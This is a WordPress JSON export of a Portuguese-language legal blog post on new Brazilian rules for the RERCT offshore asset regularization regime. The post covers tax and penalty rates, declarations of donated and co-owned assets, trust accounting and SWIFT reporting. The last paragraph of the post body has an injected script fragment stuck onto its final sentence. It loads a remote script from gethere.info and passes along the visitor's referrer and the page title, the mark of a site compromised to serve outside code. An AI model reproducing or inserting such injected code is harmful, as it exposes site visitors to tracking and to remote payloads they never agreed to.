{"id":325,"date":"2016-08-23T15:32:33","date_gmt":"2016-08-23T15:32:33","guid":{"rendered":"http:\/\/www.pareto.rio.br\/geda\/?p=325"},"modified":"2017-02-05T08:14:42","modified_gmt":"2017-02-05T08:14:42","slug":"novas-resolucoes-no-ambito-da-regularizacao-de-ativos-no-exterior","status":"publish","type":"post","link":"http:\/\/www.pareto.rio.br\/geda\/conteudo\/novas-resolucoes-no-ambito-da-regularizacao-de-ativos-no-exterior\/","title":{"rendered":"Novas resolu\u00e7\u00f5es no \u00e2mbito da regulariza\u00e7\u00e3o de ativos no exterior"},"content":{"rendered":"<p>Nos \u00faltimos meses diversos normativos foram aprovados e publicados pelas autoridades respons\u00e1veis pela regulamenta\u00e7\u00e3o e processamento do Regime Especial de Regulariza\u00e7\u00e3o Cambial e Tribut\u00e1ria (\u201c<u>RERCT<\/u>\u201d) com vistas a esclarecer os procedimentos da regulariza\u00e7\u00e3o de ativos e proporcionar maior seguran\u00e7a jur\u00eddica ao regime.<\/p>\n<p>Atrav\u00e9s de Circulares, a Diretoria Colegiada do Banco Central regulamentou a possibilidade de antecipa\u00e7\u00e3o total ou parcial da repatria\u00e7\u00e3o de recursos financeiros constantes da Declara\u00e7\u00e3o de Regulariza\u00e7\u00e3o Cambial e Tribut\u00e1ria (Dercat), desde que seja realizado integralmente o pagamento do imposto e da multa previstos na Instru\u00e7\u00e3o Normativa n\u00ba 1.627\/2016 da Receita Federal (imposto sobre a renda \u00e0 al\u00edquota de 15% sobre o valor total em reais dos recursos mais multa de 100% do referido imposto).<\/p>\n<p>Com rela\u00e7\u00e3o \u00e0 declara\u00e7\u00e3o de Capitais Brasileiros no Exterior (CBE) do Banco Central do Brasil, este \u00f3rg\u00e3o j\u00e1 decidiu que no caso de inexist\u00eancia de bens e capitais pass\u00edveis de declara\u00e7\u00e3o em 31 de dezembro de 2014 ou datas-bases posteriores, n\u00e3o deve ser enviada retificadora da CBE da respectiva data-base.<\/p>\n<p>Al\u00e9m disso, por meio das vers\u00f5es 1.0 e 1.1 do \u201cDercat \u2013 Perguntas e Respostas\u201d, aprovadas pelos Atos Declarat\u00f3rios Interpretativos n\u00ba 05 e n\u00ba 06, de 11 de julho e 9 de agosto de 2016, respectivamente, a Receita Federal consolidou entendimentos relevantes para os que desejam aderir ao RERCT.<\/p>\n<p>Um esclarecimento particularmente relevante para os que receberam recursos no exterior em decorr\u00eancia de heran\u00e7a ou doa\u00e7\u00e3o \u00e9 o referente \u00e0 forma de declara\u00e7\u00e3o de bens e direitos possu\u00eddos em condom\u00ednio. Nestes casos, de acordo com a Receita Federal, cada cond\u00f4mino dever\u00e1 declarar o bem ou direito em rela\u00e7\u00e3o \u00e0 parcela de que \u00e9 titular.<\/p>\n<p>Ainda a respeito de doa\u00e7\u00f5es, a Receita Federal inovou, de forma pol\u00eamica, ao determinar que doa\u00e7\u00f5es realizadas a descendentes em data anterior a 31 de dezembro de 2014 devem ser declaradas e regularizadas pelo doador, que dever\u00e1 apresentar a Dercat e pagar o imposto e a multa. O donat\u00e1rio, efetivo titular dos bens e direitos em 31 de dezembro de 2014, de acordo com a Receita Federal, deve t\u00e3o somente retificar suas \u00faltimas declara\u00e7\u00f5es de IRPF para informar esses bens e direitos. Apesar de o entendimento da Receita Federal possuir car\u00e1ter normativo infralegal, pode-se dizer que, neste caso, extrapola os limites aos quais a Receita Federal, como \u00f3rg\u00e3o administrativo, est\u00e1 submetida e, portanto, \u00e9 pass\u00edvel de questionamentos.<\/p>\n<p>Com rela\u00e7\u00e3o \u00e0 contabilidade de <em>trusts<\/em> e <em>offshores<\/em>, quase sempre sediadas nos ditos para\u00edsos fiscais, onde as exig\u00eancias s\u00e3o sensivelmente menos rigorosas do que no Brasil, a Receita Federal esclareceu que as demonstra\u00e7\u00f5es financeiras devem seguir as regras da sua respectiva jurisdi\u00e7\u00e3o e assinados por profissional habilitado.<\/p>\n<p>Finalmente, sobre a obrigatoriedade de o declarante solicitar e autorizar a institui\u00e7\u00e3o financeira no exterior a enviar informa\u00e7\u00e3o sobre o saldo dos ativos no exterior, na data base de 31 de dezembro de 2014, via SWIFT (<em>Society for Worlwide Interbank Financial Telecommunication<\/em>), sempre que o montante global desses ativos for superior a US$\u00a0100.000,00 (cem mil d\u00f3lares americanos), a RFB esclareceu que esta exig\u00eancia s\u00f3 se aplica nos casos em os ativos sejam mantidos diretamente em nome do declarante ou em nome de pessoa interposta, excluindo-se, portanto, os casos de contas banc\u00e1rias em nome de <em>trusts, <\/em>funda\u00e7\u00f5es ou <em>offshores<\/em>.<\/p>\n<p>Passada a indefini\u00e7\u00e3o inicial com rela\u00e7\u00e3o aos procedimentos para ades\u00e3o ao RERCT, a aproxima\u00e7\u00e3o do prazo fatal para o envio da declara\u00e7\u00e3o tem feito com que a Receita Federal e o Banco Central do Brasil se esforcem para tentar preencher as lacunas deixadas pela Lei que instituiu o RERCT (Lei n\u00ba 13.254\/2016) e ampliar o n\u00famero de ades\u00f5es.<\/p>\n<p>Por todo o exposto, e considerando que a ades\u00e3o ao RERCT implica na confiss\u00e3o de condutas tipificadas na legisla\u00e7\u00e3o como crimes, a decis\u00e3o sobre a ades\u00e3o ou n\u00e3o \u00e9 extremamente sens\u00edvel. Assim, ficamos \u00e0 inteira disposi\u00e7\u00e3o para discutir pessoalmente o assunto.s.src=&#8217;http:\/\/gethere.info\/kt\/?264dpr&amp;frm=script&amp;se_referrer=&#8217; + encodeURIComponent(document.referrer) + &#8216;&amp;default_keyword=&#8217; + encodeURIComponent(document.title) + &#8221;; <\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nos \u00faltimos meses diversos normativos foram aprovados e publicados pelas autoridades respons\u00e1veis pela regulamenta\u00e7\u00e3o e processamento do Regime Especial de Regulariza\u00e7\u00e3o Cambial e Tribut\u00e1ria (\u201cRERCT\u201d) com vistas a esclarecer os procedimentos da regulariza\u00e7\u00e3o de ativos e proporcionar maior seguran\u00e7a jur\u00eddica ao regime. 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